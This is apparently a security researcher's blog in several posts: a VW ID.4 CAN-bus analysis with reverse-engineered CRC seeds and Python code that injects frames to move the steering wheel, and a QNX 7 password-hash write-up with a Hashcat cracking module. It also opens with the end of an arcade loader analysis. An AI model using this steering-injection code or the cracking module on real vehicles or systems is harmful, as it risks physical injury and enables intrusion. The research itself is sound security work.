/PM2008v2/PM2008v2 has stripped symbols, and from string patterns it also looks like a normal loader.

But in reality, if you run it on your own computer, it will overwrite the first 512k of your partition with zeros. I actually ran it back then—thankfully I didn’t run as root, and my disk was NVMe. Who would have thought this 18-year-old game still had this trick 🙈. I had never touched this field before; apparently arcade anti-cracking often includes many “suicidal” logics.

The next post will analyze the in-game protection mechanism.

References

Moegirl Wiki - Speed Driver series

https://github.com/shizmob/arcade-docs/

VW ID.4 ICAS1 Vehicle Control Analysis

Thu, 26 Dec 2024 22:04:11 +0800

Preface

In 2021, while working at 360, I built a test bench for the VW ID.4. I was close to getting significant results—I had internal ODIS access and root privileges on ICAS3—but I was abruptly reassigned to build a demo vehicle during a business trip, which disrupted my follow-up plans. During that period, a combination of professional obligations and personal challenges forced me to pause the research.

You could call this a “regret project”—an unfinished endeavor I wish I had completed. By coincidence, I revisited the vehicle control logic of the ID.4’s ICAS1 this past May. Another such project is CAN-Pick NG, which I partially wrote before shelving. I am unsure if I will be able to finish it in 2025.

The ID.4 is based on Volkswagen’s MEB platform. Its EE (Electrical/Electronic) architecture features two primary domain controllers: ICAS1 and ICAS3. ICAS1 (J533) is responsible for body control.

The figure below shows the location of J533 at position 13. By mounting a drive-by-wire module here, you can monitor and control body functions.

In-Vehicle ECU Topology

Classic CAN: 500 kbps
CAN-FD: Arbitration phase 500 kbps, Data phase 2 Mbps. (For CAN-FD analysis, ZLG devices are highly recommended).

Analyzing the ELSA wiring diagrams and internal VW training materials revealed inconsistent bus naming. Reorganizing this information is necessary to derive the correct CAN topology.

The J533 gateway manages a total of 9 CAN buses and 4 LIN buses (LIN is not utilized in this analysis). The key ECUs are as follows:

Running-Gear CAN (CAN-FD)
- J104 - ABS
- J500 - EPS (Electric Power Steering control unit)
- NX6 - Brake Controller (Brake Booster)
Powertrain CAN (CAN-FD)
- J623 - Engine/Motor Control Module
- J841/J944 - Electric Drive Unit
- J234 - Airbag (Do not fuzz this; it is dangerous)
Driver Assistance CAN (CAN-FAS) (CAN-FD)
- J428 - Distance Control Unit
- J446 - Parking Radar Control Unit
- J769/J770 - Lane Change Assist Control Units
- J928 - Surround-View Camera Control Unit
Convenience CAN (Classic)
- J527 - Steering Column Electronics Control Module (Shift-by-wire module)
- J605 - Tailgate Control Unit
- J764 - Steering Column Lock
- …and other body controls
CAN-EV (CAN-FD)
- J979 - Heater and Air Conditioning Control Module

J533 Connector T40a Definition

The following table details the T40a connector pinout.

Bus Security Strategy

Gateway Isolation

Multifunction steering wheel control signals originate on the Convenience CAN, but ECUs on the Chassis CAN can also observe them. However, the J533 gateway blocks any steering wheel control signals originating from the Chassis CAN, preventing them from reaching their target ECUs.

CRC Check

Observing the CAN bus traffic reveals a pattern in most messages: the first byte appears random, while the second byte increments regularly. The first byte is the CRC (Cyclic Redundancy Check), and the second byte is a counter.

CRC Seeds

Reference: OpenDBC github /opendbc/can/common.cc volkswagen_mqb_checksum

While checksum seeds for the VW MQB platform are available, the ID.4 introduces many new CRC seeds. I reverse-engineered them and listed them below.

Most control signals include both a CRC and a counter. ECUs typically skip CRC validation for non-critical functions (e.g., sunroof, windows, horn) but enforce it for safety-critical functions such as EPS, tailgate operation, and wipers.

Signal	CAN ID	CRC Seed
AAA_01	0x12DD5502	0x62,0x14,0x7c,0xa1,0x49,0x95,0x43,0x04,0x78,0x46,0x74,0x19,0x39,0x17,0x9f,0x1c
ACC_18	0x14D	0x1a,0x65,0x81,0x96,0xc0,0xdf,0x11,0x92,0xd3,0x61,0xc6,0x95,0x8c,0x29,0x21,0xb5
Airbag_01	0x040	0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40
Airbag_02	0x520	0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44
APS_Master	0x380	0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13
AWV_03	0x0DB	0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97
BEM_06	0x48B	0x54,0xaf,0x8a,0xfb,0x0d,0x87,0x6a,0x0f,0x47,0x78,0x31,0x4f,0x35,0x28,0x82,0x6d
Blinkmodi_02	0x366	0xa9,0xbd,0xfb,0x3c,0x95,0x0f,0x75,0x3a,0x4f,0x19,0x59,0x6d,0xb2,0xe9,0xd1,0x97
EA_01	0x1A4	0x69,0xbb,0x54,0xe6,0x4e,0x46,0x8d,0x7b,0xea,0x87,0xe9,0xb3,0x63,0xce,0xf8,0xbf
EA_02	0x1F0	0x2f,0x3c,0x22,0x60,0x18,0xeb,0x63,0x76,0xc5,0x91,0x0f,0x27,0x34,0x04,0x7f,0x02
ELV_01	0x656	0xab,0x2f,0xd3,0x39,0x6f,0x37,0xfa,0x59,0xa4,0x70,0xce,0x11,0x54,0x82,0x62,0x56
EM1_01	0x0C0	0x2f,0x44,0x72,0xd3,0x07,0xf2,0x39,0x09,0x8d,0x6f,0x57,0x20,0x37,0xf9,0x9b,0xfa
EML_02	0x1A555541	0x3e,0xb4,0x25,0xc1,0x31,0x1f,0xf1,0xd7,0xb1,0xbe,0xcc,0xe0,0x0f,0x46,0x51,0xb2
EML_06	0x20A	0x9d,0xe8,0x36,0xa1,0xca,0x3b,0x1d,0x33,0xe0,0xd5,0xbb,0x5f,0xae,0x3c,0x31,0x9f
ESC_50	0x102	0xd7,0x12,0x85,0x7e,0x0b,0x34,0xfa,0x16,0x7a,0x25,0x2d,0x8f,0x04,0x8e,0x5d,0x35
ESC_51	0x0FC	0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd
ESP_10	0x116	0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac
ESP_20	0x65D	0xac,0xb3,0xab,0xeb,0x7a,0xe1,0x3b,0xf7,0x73,0xba,0x7c,0x9e,0x06,0x5f,0x02,0xd9
ESP_21	0x0FD	0xb4,0xef,0xf8,0x49,0x1e,0xe5,0xc2,0xc0,0x97,0x19,0x3c,0xc9,0xf1,0x98,0xd6,0x61
ESP_24	0x31B	0x67,0x8a,0xae,0x22,0x4d,0xd0,0x51,0x80,0x5c,0xb9,0xce,0x1e,0xdf,0x02,0x2d,0xd4
Getriebe_11	0x0AD	0x3f,0x69,0x39,0xdc,0x94,0xf9,0x14,0x64,0xd8,0x6a,0x34,0xce,0xa2,0x55,0xb5,0x2c
GRA_ACC_01	0x12B	0x6a,0x38,0xb4,0x27,0x22,0xef,0xe1,0xbb,0xf8,0x80,0x84,0x49,0xc7,0x9e,0x1e,0x2b
HCA_01	0x126	0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda
HVL_01	0x12DD553D	0x1d,0x82,0x7b,0x79,0xa5,0xee,0x3a,0xb9,0xb7,0xf9,0xe4,0x67,0x7f,0x97,0x11,0xad
IPA_01	0x138	0x77,0x4e,0x14,0x87,0xf2,0xf8,0xb2,0x61,0xf6,0xa4,0x52,0x94,0xd4,0x81,0x2a,0xb1
IPA_02	0x16A9545F	0xc6,0x7f,0x85,0xb6,0xe6,0xae,0xf8,0x26,0xb0,0x8c,0x19,0x10,0x5b,0x33,0x64,0x6c
Klemmen_Status_01	0x3C0	0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3
LH_EPS_02	0x11D	0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c
LH_EPS_03	0x09F	0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5
Licht_Anf_01	0x3D5	0xc5,0x39,0xc7,0xf9,0x92,0xd8,0x24,0xce,0xf1,0xb5,0x7a,0xc4,0xbc,0x60,0xe3,0xd1
LWI_01	0x086	0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86
Motor_14	0x3BE	0x1f,0x28,0xc6,0x85,0xe6,0xf8,0xb0,0x19,0x5b,0x64,0x35,0x21,0xe4,0xf7,0x9c,0x24
Motor_51	0x10B	0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd
Motor_54	0x14C	0x16,0x35,0x59,0x15,0x9a,0x2a,0x97,0xb8,0x0e,0x4e,0x30,0xcc,0xb3,0x07,0x01,0xad
Motor_Code_01	0x641	0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47
Parken_01	0x206	0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97
PLA_04	0x407	0xef,0x60,0x04,0xa8,0x0c,0x1c,0xda,0x07,0x36,0xd7,0x28,0x92,0xa9,0x88,0x2c,0x4a
QFK_01	0x13D	0x20,0xca,0x68,0xd5,0x1b,0x31,0xe2,0xda,0x08,0x0a,0xd4,0xde,0x9c,0xe4,0x35,0x5b
RCTA_01	0x2B7	0x5e,0xc7,0x04,0x11,0x4d,0x27,0x0d,0x31,0x91,0xb8,0x62,0x76,0x64,0x09,0xeb,0xec
SAL_01	0x12DD54C9	0xde,0xa9,0x83,0x0b,0x0c,0x64,0x79,0x44,0x0f,0xf6,0xc6,0xc7,0x05,0x45,0xb7,0x59
SAM_01	0x205	0x19,0x36,0xd4,0x1e,0x80,0x22,0xf4,0xb8,0xad,0x41,0x0b,0x3f,0x87,0x42,0x25,0x40
SMLS_01	0x3D4	0xc3,0x79,0xbf,0xdb,0xe9,0x11,0x46,0x86,0x69,0xb6,0x9b,0x29,0x15,0x9c,0x45,0x0d
TA_01	0x26B	0xce,0xcc,0xbd,0x69,0xa1,0x3c,0x18,0x76,0x0f,0x04,0xf2,0x3a,0x93,0x24,0x19,0x51
TSG_FT_02	0x3E5	0xc4,0x6a,0x69,0x30,0xcf,0x61,0x58,0x51,0x1b,0x86,0x99,0xd3,0xf6,0x1d,0x9a,0x37
VMM_01	0x105	0xde,0x0e,0xa7,0x1d,0xc3,0x83,0xbd,0x82,0x8c,0xa2,0x0c,0x7b,0x4d,0x3c,0x58,0x79
VMM_02	0x139	0xed,0x03,0x1c,0x13,0xc6,0x23,0x78,0x7a,0x8b,0x40,0x14,0x51,0xbf,0x68,0x32,0xba

CRC Algorithm

MEB_Kennungsfolge = {
    # LWI_01 Steering Angle
    0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86],
    # LH_EPS_03 Electric Power Steering
    0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5],
    # HCA_01 Heading Control Assist
    0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA],
    # GRA_ACC_01 Steering wheel controls for ACC
    0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B]
}

def gen_crc_lookup_table_8(poly):
    crc_lut = [0] * 256
    for i in range(256):
        crc = i
        for j in range(8):
            if crc & 0x80:
                crc = (crc << 1) ^ poly
            else:
                crc <<= 1
        crc_lut[i] = crc & 0xFF
    return crc_lut

def volkswagen_mqb_checksum(address, data):
    global crc8_lut_8h2f
    crc = 0xFF  # CRC8 8H2F/AUTOSAR

    for i in range(1, len(data)):
        crc = crc ^ data[i]
        # print(hex(crc), hex(i))
        crc = crc8_lut_8h2f[crc]

    counter = data[1] & 0x0F
    if address in MEB_Kennungsfolge:
        crc ^= MEB_Kennungsfolge[address][counter]
    else:
        # No validation required
        crc ^= [0x00] * 16  # Return all 0s by default

    crc = crc8_lut_8h2f[crc]  # Standard CRC8 8H2F/AUTOSAR final XOR
    return crc ^ 0xFF
    
can_id = 0x126
data = bytearray(bytes(8))
crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f)
crc = volkswagen_mqb_checksum(can_id, data)
data[0] = crc

CAN Signals

The Convenience CAN carries the signal traffic listed below. It allows for state monitoring and control of most body functions, including HVAC, front/rear lights, horn, wipers, windows, door locks, and various vehicle status updates.

0x12B   GRA_ACC_01          Adaptive Cruise Control (GRA/ACC)
0x1F0   EA_02               Emergency Assist
0x205   SAM_01              Switches and Execution Module
0x2B7   RCTA_01             Rear Cross Traffic Alert
0x31B   ESP_24  
0x366   Blinkmodi_02        Blinking Mode (Turn Signals)
0x397   LDW_02              Lane Departure Warning System
0x3BE   Motor_14            Motor Control
0x3C0   Klemmen_Status_01   Terminal Status (Clamp Status)
0x3CE   TSG_HFS_01          Rear Door Window Function System (Left?)
0x3CF   TSG_HBFS_01         Rear Door Window Function System (Right?)
0x3D0   TSG_FT_01           Front Door Function System
0x3D4   SMLS_01             Steering Column Switch Module
0x3D5   Licht_Anf_01        Light Request
0x3D6   Licht_hinten_01     Rear Light Status
0x3DC   Gateway_73          Gateway Info (System alerts, safety warnings, fault diagnosis, signal updates)
0x48B   BEM_06              Low Voltage Energy Management
0x520   Airbag_02           Airbag 2
0x551   WFS_01              Immobilizer
0x582   HDSG_01             Trunk Management Status
0x583   ZV_02               Central Locking System
0x585   Systeminfo_01       Diagnostic and Production Mode Settings
0x592   Kessy_04            Smart Key System (Kessy) / Remote Parking Status/Control
0x5A0   RLS_01              Light and Rain Sensor
0x5A7   TM_01               Telematics
0x5F0   Dimmung_01          Dimming
0x5F4   Innenlicht_11       Interior Lighting
0x641   Motor_Code_01       Motor Coding
0x643   Einheiten_01        Unit Settings
0x656   ELV_01              Electronic Steering Column Lock
0x658   Licht_vorne_01      Front Light Status
0x65D   ESP_20  
0x668   Klima_12            Air Conditioning System
0x670   Motor_18    
0x6AE   Spiegel_01          Mirrors
0x6AF   Rear_View_01        Rear View Camera
0x6B2   Diagnose_01 
0x6B4   VIN_01  
0x12DD54C9  SAL_01          Lighting Module

Other Signals

While the DBC has been analyzed, it is not currently published.

0x184
1. Lock Vehicle
   1. Byte 2: Mirror Open (0x20 Open)
   2. Byte 3: Mirror Close (0x40 Close)
2. Windows
   1. Byte 6: Window Control - 04 Front Left Down, 02 Front Left Up, 40 Rear Left Down, 08 Front Right Up, 10 Front Right Down
   2. Byte 7: 01 Rear Right Down

0x185
1. Window Control (10, 20 Up; 40, 80 Down)
   1. Byte 1: Front Row
   2. Byte 2: Rear Row

0x598
1. Sunroof Control
   1. Byte 3: 0x20 None, 0x21 Tap, 0x22 Slide, 0x25 Long Press
   2. Byte 7: 04 Close Once, 08 Close Cont., 0C Open Once, 10 Open Cont., 14/1C Others

Steering Control

The vehicle must be in Gear D/B or R. The following five signals can be used to control the steering wheel:

LWI_01: Steering Angle Sensor
LH_EPS_03: Electric Power Steering (Steering Assist)
HCA_01: Heading Control Assist
GRA_ACC_01: Adaptive Cruise Control
PLA_05: Park Lane Assist

Notes:

Combining signals 0x86, 0x9f, 0x126, 0x12b, and 0x302 on the CAN-FAS bus allows for parking steering actuation.
Combining signals 0x86, 0x9f, and 0x302 on the Gear-Running CAN can also actuate the steering wheel.
Both 0x9f (LH_EPS_03) and 0x302 (PLA_05) can directly control the steering wheel.
Since 0x302 (PLA_05) lacks a CRC check, it offers a simpler method for steering control compared to 0x9f.

DEMO

def create_pla_control(sendestatus, positive, degree):
    data = bytearray(bytes(24))
    data[1] = 0x40
    # PLA_QFK_Spuerb
    data[2] = 0xFA
    # PLA_QFK_KruemmSoll
    data = set_value(data, degree, 32, 15)
    # PLA_QFK_KruemmSoll_VZ
    if positive:
        data = set_value(data, 1, 47, 1)
    else:
        data = set_value(data, 0, 47, 1)
    
    # PLA_05_Sendestatus
    if sendestatus:
        data = set_value(data, 1, 74, 1)
    else:
        data = set_value(data, 0, 74, 1)
    return data

hca_01_counter = 0
degree = 0
for i in range(20):
    # data = create_steering_control(10 * i, 1)
    # meb_can_send(0x126, 0.1, data)
    degree += 0x10
    data = create_pla_control(1, 1, degree)
    can_send(0x302, 0.1, data)

RPi CAN HAT

This steering control demo only makes the steering wheel move. To implement true remote driving, you need a solid understanding of vehicle dynamics and must design a proper control algorithm.

import os
import can
import time

can0 = can.interface.Bus(channel = 'can0', bustype = 'socketcan', fd=True, bitrate=500000)

# msg = can.Message(is_extended_id=False, arbitration_id=0x123, data=[0, 1, 2, 3, 4, 5, 6, 7])
# can0.send(msg)

MEB_Kennungsfolge = {
    # LWI_01 Steering Angle
    0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86],
    # LH_EPS_03 Electric Power Steering
    0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5],
    # HCA_01 Heading Control Assist
    0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA],
    # GRA_ACC_01 Steering wheel controls for ACC
    0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B]
}

def volkswagen_mqb_checksum(address, data):
    global crc8_lut_8h2f
    crc = 0xFF  # CRC8 8H2F/AUTOSAR

    for i in range(1, len(data)):
        crc = crc ^ data[i]
        # print(hex(crc), hex(i))
        crc = crc8_lut_8h2f[crc]

    counter = data[1] & 0x0F
    if address in MEB_Kennungsfolge:
        crc ^= MEB_Kennungsfolge[address][counter]
    else:
        print("Attempt to CRC check undefined Volkswagen message 0x%02X" % address)
        crc ^= [0x00] * 16  # Return all 0s by default

    crc = crc8_lut_8h2f[crc]  # Standard CRC8 8H2F/AUTOSAR final XOR
    return crc ^ 0xFF

def gen_crc_lookup_table_8(poly):
    crc_lut = [0] * 256
    for i in range(256):
        crc = i
        for j in range(8):
            if crc & 0x80:
                crc = (crc << 1) ^ poly
            else:
                crc <<= 1
        crc_lut[i] = crc & 0xFF
    return crc_lut

def meb_can_send(can_id, interval, data):
    global hca_01_counter
    data[1] = data[1] | hca_01_counter
    crc = volkswagen_mqb_checksum(can_id, data)
    data[0] = crc
    hca_01_counter += 1
    for j in data:
        print(hex(j), end=", ")
    time.sleep(interval)
    msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True)
    can0.send(msg)
    
def can_send(can_id, interval, data):
    time.sleep(interval)
    msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True)
    can0.send(msg)

crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f)

def set_value(data, value, start_pos, value_length):
    end_pos = start_pos + value_length
    for bit_index in range(start_pos, end_pos):
        byte_index = bit_index // 8
        bit_offset = bit_index % 8
        bit_value = (value >> (bit_index - start_pos)) & 1
        # print("\n")
        # print("index", bit_index, start_pos, end_pos, "byte_index:", byte_index, "bit_offset:", bit_offset, "v:", bit_value)
        if bit_value:
            data[byte_index] |= 1 << bit_offset
        else:
            data[byte_index] &= ~(1 << bit_offset)
    # for i in data:
    #     print(bin(i), end=",")
    return data

def set_bit(b, bit, bit_index):
    if bit_index < 0 or bit_index > 7:
        raise ValueError("bit_index must be between 0 and 7")
    mask = 1 << bit_index
    flipped_byte = b ^ mask
    return flipped_byte

def create_steering_control(apply_steer, lkas_enabled):
    data = bytearray(bytes(8))
    if lkas_enabled:
        # HCA_01_Sendestatus
        data = set_value(data, 5, 30, 1)
        # HCA_01_Status_HCA
        data = set_value(data, 1, 32, 4)
    else:
        # HCA_01_Sendestatus
        data = set_value(data, 3, 30, 1)
        # HCA_01_Status_HCA
        data = set_value(data, 0, 32, 4)
    # HCA_01_LM_Offset
    print("create_steering_control", apply_steer)
    data = set_value(data, abs(apply_steer), 16, 9)
    # HCA_01_LM_OffSign
    v = 1 if apply_steer < 0 else 0
    data = set_value(data, v, 31, 1)
    # HCA_01_Vib_Freq
    data = set_value(data, 3, 12, 4)
    # HCA_01_Vib_Amp
    data = set_value(data, 10, 36, 4)
    return data

def create_pla_control(sendestatus, positive, degree):
    data = bytearray(bytes(24))
    data[1] = 0x40
    # PLA_QFK_Spuerb
    data[2] = 0xFA
    # PLA_QFK_KruemmSoll
    data = set_value(data, degree, 32, 15)
    # PLA_QFK_KruemmSoll_VZ
    if positive:
        data = set_value(data, 1, 47, 1)
    else:
        data = set_value(data, 0, 47, 1)
    
    # PLA_05_Sendestatus
    if sendestatus:
        data = set_value(data, 1, 74, 1)
    else:
        data = set_value(data, 0, 74, 1)
    return data

hca_01_counter = 0
degree = 0
for i in range(20):
    # data = create_steering_control(10 * i, 1)
    # meb_can_send(0x126, 0.1, data)
    degree += 0x10
    data = create_pla_control(1, 1, degree)
    can_send(0x302, 0.1, data)

Notes

Ensure the CAN bus enters sleep mode before leaving the vehicle; otherwise, it may drain the battery considerably.
Do not fuzz the Powertrain and Running Gear CAN buses. This poses a direct risk of physical injury and may trigger abnormal ECU behavior or introduce hidden hazards (e.g., turn signal failure, mirrors not unfolding).

QNX 7 Password Hash Analysis and Writing a Hashcat Module

Thu, 14 Sep 2023 22:04:11 +0800

Preface

Back in 2021, while attempting to crack QNX hashes, I discovered that Hashcat lacked support for QNX 6.6.0. Although there was an existing issue requesting this feature, I was too occupied to implement it at the time.

It wasn’t until the grueling “solo” phase of the MIIT vehicle-to-everything (V2X) offensive/defensive exercise in September 2023 that I encountered QNX 7 hashes. Surprisingly, after all these years, support was still missing.

To avoid facing this same roadblock in the future, I dedicated some time to studying the QNX libraries and Hashcat’s architecture. I also took a few detours along the way while developing the Hashcat module.

QNX `/etc/shadow` hash algorithm analysis

According to the official documentation QNX 700 docs: accounts_etc_shadow, the hash format is:

@digest@hash@salt
@digest,iterations@hash@salt

The hash uses @ as a delimiter. Uppercase S indicates SHA-512, while lowercase s refers to SHA-256. If a comma followed by a number is present, it specifies the iteration count. This is followed by the Base64-encoded hash and the Base64-encoded salt.

Reading the official documentation, it seemed deceptively simple. My initial thought, looking at Hashcat’s QNX 6 module (-m 19200), was whether I could simply adjust the iteration count and format.

I attempted to clone the QNX 6 module to minimize effort, but after adapting it to match the documented format, the Hashcat self-tests repeatedly failed. Analyzing /src/OpenCL/m19200.cl, I noticed it referenced code from John the Ripper and contained some inelegant hacks. Suspecting bugs in the OpenCL code, I decided to analyze how QNX 7 actually generates its hashes.

The hash generation logic is in /usr/lib/pam.qnx.so.

After analyzing the logic and comparing it with m19200.cl, I discovered the issue: the round logic in the old OpenCL code was incorrect. The first round performed a SHA calculation on salt || password, but the resulting digest wasn’t XORed with the previous result as expected. It wasn’t just a simple Base64 encoding issue.

In reality, the new hash generation logic employs the standard PBKDF2 (Password-Based Key Derivation Function) algorithm, widely used by products like Adobe, macOS, and Cisco. While higher iteration counts reduce cracking efficiency, they improve security. QNX’s documentation vague reference to only “SHA-512” without explicitly mentioning PBKDF2 somewhat obscures the implementation details for security researchers.

You can verify it with CyberChef:

https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'UTF8','string':'hashcat'%7D,512,4096,'SHA512',%7B'option':'Base64','string':'NDY2MDEwNjk3YjBjYzM2MzliMzc3Mzc0ZTNiMTAzNzE%3D'%7D)&input=dm0ybkJHSGVzNlFrWHJhMGY3NFhtb3VTaVJ6allEM3IvMHB5K3R4djBLcjhBNGhDUE1HRkhvWnFyNDFKRmlZY0pQUE9lSWhlcUZzZU15THl3LzE1UHc9PQ

Writing a Hashcat module

Refer to the official documentation:

https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md

Initially, I considered writing new OpenCL code. However, once I realized it was a standard algorithm (PBKDF2), I abandoned that idea and looked for a suitable existing module to modify.

./hashcat -hh | grep PBKDF2
  11900 | PBKDF2-HMAC-MD5                                            | Generic KDF
  12000 | PBKDF2-HMAC-SHA1                                           | Generic KDF
  10900 | PBKDF2-HMAC-SHA256                                         | Generic KDF
  12100 | PBKDF2-HMAC-SHA512                                         | Generic KDF
   2500 | WPA-EAPOL-PBKDF2                                           | Network Protocol
  22000 | WPA-PBKDF2-PMKID+EAPOL                                     | Network Protocol
  16800 | WPA-PMKID-PBKDF2                                           | Network Protocol
  12800 | MS-AzureSync PBKDF2-HMAC-SHA256                            | Operating System
   9200 | Cisco-IOS $8$ (PBKDF2-SHA256)                              | Operating System
   7100 | macOS v10.8+ (PBKDF2-SHA512)                               | Operating System

Hashcat runs self-tests on every module at startup, using ST_HASH and ST_PASS as test vectors. I set KERN_TYPE to 7100 and prepared to debug iteratively—but to my surprise, it worked on the first attempt.

Since Hashcat is open-source and the pull request merge process can be lengthy, I have included the source code below.

/**
 * Author......: See docs/credits.txt
 * License.....: MIT
 */

#include "common.h"
#include "types.h"
#include "modules.h"
#include "bitops.h"
#include "convert.h"
#include "shared.h"
#include "emu_inc_hash_sha512.h"
#include "memory.h"

static const u32   ATTACK_EXEC    = ATTACK_EXEC_OUTSIDE_KERNEL;
static const u32   DGST_POS0      = 0;
static const u32   DGST_POS1      = 1;
static const u32   DGST_POS2      = 2;
static const u32   DGST_POS3      = 3;
static const u32   DGST_SIZE      = DGST_SIZE_8_16;
static const u32   HASH_CATEGORY  = HASH_CATEGORY_OS;
static const char *HASH_NAME      = "QNX 7 /etc/shadow (SHA512)";
static const u64   KERN_TYPE      = 7100;
static const u32   OPTI_TYPE      = OPTI_TYPE_ZERO_BYTE
                                  | OPTI_TYPE_USES_BITS_64
                                  | OPTI_TYPE_SLOW_HASH_SIMD_LOOP;
static const u64   OPTS_TYPE      = OPTS_TYPE_STOCK_MODULE
                                  | OPTS_TYPE_PT_GENERATE_LE
                                  | OPTS_TYPE_ST_BASE64
                                  | OPTS_TYPE_HASH_COPY;
static const u32   SALT_TYPE      = SALT_TYPE_EMBEDDED;
static const char *ST_PASS        = "hashcat";
static const char *ST_HASH        = "@S@vm2nBGHes6QkXra0f74XmouSiRzjYD3r/0py+txv0Kr8A4hCPMGFHoZqr41JFiYcJPPOeIheqFseMyLyw/15Pw==@NDY2MDEwNjk3YjBjYzM2MzliMzc3Mzc0ZTNiMTAzNzE=";

u32         module_attack_exec    (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return ATTACK_EXEC;     }
u32         module_dgst_pos0      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS0;       }
u32         module_dgst_pos1      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS1;       }
u32         module_dgst_pos2      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS2;       }
u32         module_dgst_pos3      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS3;       }
u32         module_dgst_size      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_SIZE;       }
u32         module_hash_category  (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return HASH_CATEGORY;   }
const char *module_hash_name      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return HASH_NAME;       }
u64         module_kern_type      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return KERN_TYPE;       }
u32         module_opti_type      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return OPTI_TYPE;       }
u64         module_opts_type      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return OPTS_TYPE;       }
u32         module_salt_type      (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return SALT_TYPE;       }
const char *module_st_hash        (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return ST_HASH;         }
